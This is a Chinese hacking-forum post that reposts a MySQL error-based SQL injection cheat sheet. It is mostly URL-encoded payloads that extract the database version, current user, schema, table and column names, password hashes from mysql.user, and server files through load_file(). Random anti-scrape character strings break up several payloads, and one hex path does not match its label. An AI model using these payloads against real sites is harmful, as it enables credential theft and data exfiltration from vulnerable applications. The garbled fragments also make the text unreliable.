找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2095|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 4 R7 W' Y2 h0 `) ]) k% W
$ \8 |7 K3 m6 `+ ^$ X- D. z

4 T2 a+ x3 y. u! s: e1 rMysql暴错注入参考(pdf),每天一贴。。。6 b' j) G& Q: @8 `. z
, B0 d$ X7 I4 k
MySql Error Based Injection Reference
- F, Y! N6 B. H# h( M7 a[Mysql暴错注入参考]7 [2 J& _1 T: u) Y1 s1 @  H
Authornig0s19928 V5 x" j( V9 j' B1 A2 D* Z; C8 C
Blog:http://pnig0s1992.blog.51cto.com/8 l# j4 Y& @  ~* X" ]$ w, L
TeAm:http://www.FreeBuf.com/
5 n7 e8 V/ l, b8 G$ gMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功# h* X+ E  X/ U  M! j( }
小部分版本使用name_const()时会报错.可以用给出的Method.2测试& O4 _3 v* c7 {5 `
查询版本:/ c* S7 C" ]3 z
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
4 |8 k" M0 ^0 }- f$ Bjoin+(select+name_const(@@version,0))b)c)" x( i- u3 d! P0 G' U
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
1 @4 j$ P2 T$ N. Uup by a)b)% ~# C7 Q/ |) ~; j
查询当前用户:
, X* R$ G% l0 E5 Q( LMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
8 w7 t- A2 H9 j: y# ?/ B* GMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r" G" r! E! W3 Z3 D
and(0)*2))x+from+information_schema.tables+group+by+x)a)
2 |$ }$ G* B  C查询当前数据库:1 {+ {. {0 V) I4 w
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c); @: P# `: t" n! \
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
/ a) _* B0 U2 N. J5 ^* O* ?or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
; i3 p" z$ j- ^9 t! V, |依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
* f3 _3 l4 s2 V" {/ RLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
# P1 f# K- q3 J5 e( `" T7 G* F顺序替换* n- S* T1 F+ K5 j/ F/ Q$ U. `
爆指定库数目:0 }" ?' e3 D1 D# a0 D
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t6 h8 P8 Z( l7 [# n* x& J/ N: I) O
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
. i. [) s- R( j+by+x)a)+and+1=1 0x6D7973716C=mysql' n2 s% h- c# ?( J; A9 o" ^* ^) }1 x
依次爆表:) K6 I3 _# D/ i, z/ _, K5 T
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t& F5 ?1 q" A' Q
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
1 f! `7 y2 A  j5 B9 c& H1 pbles+group+by+x)a)+and+1=1. F" m1 q! l, C4 _& n1 w/ t8 M
0x6D7973716C=Mysql 将n顺序替换$ s& }5 ]' `. k3 v$ U2 U
爆表内字段数目:
! }# T* u7 r" ?% ~9 fand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
/ r/ r4 Y0 x4 G* x% }& `. R+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran' U- R2 g- b% ?& Q7 `9 {6 z
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1( u  T4 O) V5 s$ s% n3 {$ ?( F
依次爆字段:
$ y, E, j2 D+ G9 tand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where2 B9 E( N) f+ T9 f
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
# R$ D  P, {4 k/ J2 S- @loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换/ ]- {% [5 F5 v- v1 H$ a- G9 u7 p
依次暴内容:
( o5 ]5 t3 i: n' @1 u) ]6 @and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
# Q( G3 m  w( w+ @6 ?" vma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1- q6 `1 z; p0 z! x8 z
将n顺序替换5 X% l4 n/ G+ ]
爆文件内容:0 z# ~2 [7 f( J! I% h
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a! V& ], A( f+ ~. m
from+information_schema.tables+group+by+a)b) ' \7 h) v$ d1 \' U/ v
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
0 j8 O% o0 l. _4 W; k% d% eThx for reading.
: R$ O% i+ i0 [& l; t1 r( X  V- }
不要下载也可以, * h* q" v' H1 [/ e7 w# G

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表